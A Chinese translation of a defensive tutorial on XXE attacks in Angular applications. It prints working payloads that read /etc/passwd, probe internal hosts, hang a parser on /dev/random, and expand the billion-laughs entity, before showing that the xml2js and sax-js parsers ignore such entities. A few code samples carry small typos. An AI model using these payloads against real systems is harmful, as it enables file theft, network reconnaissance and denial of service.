如何免费调用有道翻译API实现多语言翻译
Angular XML 外部 实体(XXE)指南: 示例和预防
XML 外部实体 (XXE) 攻击使用恶意 XML 构造来破坏应用程序。利用 XML 外部实体攻击,攻击者可以窃取机密信息、造成拒绝服务或两者兼而有之。它们是危险的攻击,您在开发应用程序时需要考虑。
让我们看看 Angular XML 实体。我们将讨论为什么您应该担心这些攻击以及如何保护您的代码免受这些攻击。
什么是 XML 外部实体攻击?
注入攻击
注入攻击通过向代码提供无效数据来利用代码。当目标处理数据时,它会改变其行为方式,通常是为攻击者检索数据或导致应用程序失败。
目标应用程序需要满足两个条件才能成功进行注入攻击:
- 它接受不可信的数据。
- 它以一种导致应用程序行为异常的方式处理数据。
XML 外部实体
XXE 攻击是利用危险的 XML 文档进行的注入攻击。
XML 是一种强大的语言,很容易编写文档来窃取信息或禁用目标。
您可以使用实体构建 XML 文档。每个实体都包含或指向数据。
内部实体保存其数据,而外部实体则指可能位于另一个系统或文档其他地方的数据。危险就来自这些外部实体。让我们看几个例子。
这是在外部实体中使用URI的文档。URI 是 HTML 链接中 URL 的超集。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo \[
<!ELEMENT foo ANY >
<!ELEMENT bar ANY >
<!ENTITY xxe SYSTEM "https://www.example.com/login" >
\]>
<foo>
<bar>&xxe;</bar>
</foo>
此文档定义了一个名为 xxe的实体,该实体指向http://www.example.com/login 的内容。 因此,当 XML 解析器看到对该实体的引用(例如<bar>标记之间的引用)时,它会检索该 URL 并插入该页面的内容。
以下是定义基于文本的自定义实体的文档的示例:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
]>
<lolz>&lol1;</lolz>
lol1实体包含 10 次字符串 lol 。因此,解析器将lol1替换为 10 个lols。
让我们看看攻击者如何使用这些工具。
构造 XML 外部实体攻击
现在,我们来看一些 XXE 攻击的例子。
检索网络信息
上面我们演示了一个指向互联网网页的外部实体。但是,它们使用 URI,它可以指向几乎任何网络资源,包括私有网络内的主机。
例如:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo \[
<!ELEMENT foo ANY >
<!ELEMENT bar ANY >
<!ENTITY xxe SYSTEM "https://10.1.1.1/login" >
]>
<foo>
<bar>&xxe;</bar>
</foo<>
如果10.1.1.1存在,正在运行 Web 服务器,并且有一个名为login 的页面,则 XML 解析器将检索该页面并将内容放入 XML 文档中。如果其中一个或多个内容为假,则生成的文档可能包含可能有用的错误。即使这次攻击失败,黑客也可以从中了解到很多信息。他们将了解 IP 地址是否有效、是否正在运行 Web 服务器以及服务器是否有登录页面。例如,404 错误页面会告诉攻击者很多有关目标内部网络的信息。
窃取文件
URI 也可以指向文件。我们只需稍作调整,就可以使用同一文档从运行目标应用程序的服务器中获取用户列表。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo \[
<!ELEMENT foo ANY >
<!ELEMENT bar ANY >
<!ENTITY xxe SYSTEM "file://etc/passwd" >
\]>
<foo>
<bar>&xxe;</bar>
</foo>
此攻击不会插入网页内容,而是将/etc/passwd的内容插入到结果文档中。此攻击适用于受攻击应用程序有权访问的任何文件。
通过文件注入实现拒绝服务
Linux 有特殊文件作为设备和设备驱动程序的接口。如果您将 XML 文档指向正确的文件,则可以禁用应用程序。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo \[
<!ELEMENT foo ANY >
<!ELEMENT bar ANY >
<!ENTITY xxe SYSTEM "file://dev/random" >
\]>
<foo>
<bar>&xxe;</bar>
</foo>
/dev/random文件会根据系统噪声生成随机数,但只有在有噪声可用时才会生成随机数。因此,当应用程序读取此文件时,调用可能会被阻止:它不会返回数据,直到系统可以生成随机数。这会使 XML 解析器挂起,直到发生某些事情。发送几百个这样的恶意 XML 文件,您就可以让服务器瘫痪。
数据注入
我们再来看一下第一个例子。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo \[
<!ELEMENT foo ANY >
<!ELEMENT bar ANY >
<!ENTITY xxe SYSTEM "https://www.example.com/login" >
\]>
<foo>
<bar>&xxe;</bar>
</foo>
这会插入来自外部网站的登录页面。如果攻击者控制该网站,他们就可以使用它来获取用户名和密码。这是使用 XXE 攻击注入恶意数据的一个例子。黑客可以从互联网上的任何地方将数据注入易受攻击的系统。
实体拒绝服务
我们在上面查看了使用实体定义文本节点的示例。该文档是十亿笑声攻击的一部分。
以下是完整文档:
<?xml version="1.0"?>
<!DOCTYPE lolz \[
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
\]>
<lolz>&lol9;</lolz>
如果解析器将每个lol1替换 为 10 个lol,将每个 lol2替换为 10 个lol1,等等,直到lol9表示 10 个 lol8,那么这个文档将扩展到十亿个笑声。这个名字并不夸张!
Angular XML 外部实体攻击
许多人将注入攻击与服务器端应用程序联系在一起,正确的攻击可能会危及数据或使 Web 应用程序脱机。但客户端应用程序也容易受到这些攻击,其中诸如服务器被入侵、中间人攻击或恶意重定向之类的危害可能会导致恶意数据。那么,让我们看看如何保护 Angular 应用程序免受 XXE 攻击。
我们无法始终保护我们的应用程序免受不可信数据的侵害。但我们可以确保我们的代码不会以危险的方式处理数据。Angular 不附带 XML 解析器;您可以加载任何 javascript 解析器并使用它来处理 Angular 应用程序中的文档。
好消息是,如果您使用xml2js或sax-js,您就不会受到 XXE 攻击。
它们都默认忽略自定义实体或不扩展就直接传递。Sax-js会忽略它们,而 xml2js 会使用 sax-js 来处理文档。如果您确实想处理某些自定义实体,也可以安装自己的事件处理程序。
让我们看一个简单的例子来了解 xml2js 如何保护我们。将试图注入登录页面的文档放在名为foo.xml 的文件中。
运行此代码:
ar fs = require('fs'),
xml2js = require('xml2js');
var parser = new xml2js.Parser();
fs.readFile('./foo.xml', function(err, data) {
parser.parseString(data, function (err, result) {
console.dir(result);
console.log('Done');
});
});
输出如下:
undefined
Done
解析器忽略了自定义实体并将文档视为不包含任何数据。
现在,对代码进行一点小改动。将strict选项添加到解析器构造函数中,并将其设置为 false。
再次运行代码。
var fs = require('fs'),
xml2js = require('xml2js');
var parser = new xml2js.Parser({strict: false});
fs.readFile('./bar.xml', function(err, data) {
parser.parseString(data, function (err, result) {
console.dir(result);
console.log('Done');
});
});
现在解析器处理自定义实体但不扩展它们。
{ FOO: { BAR: [ '&xxe;' ] } }
Done
您也可以将其他示例放入文件中并进行测试。坚持使用这些解析器并保持依赖项最新!
保护你的应用免受 Angular XML 外部实体攻击
Angular XML 外部攻击是严重的威胁,可能会危害您的应用程序并泄露客户数据。但是,坚持使用正确的 XML 解析器,您就会安全。
文章来源:Angular XML External Entities (XXE) Guide: Examples and Prevention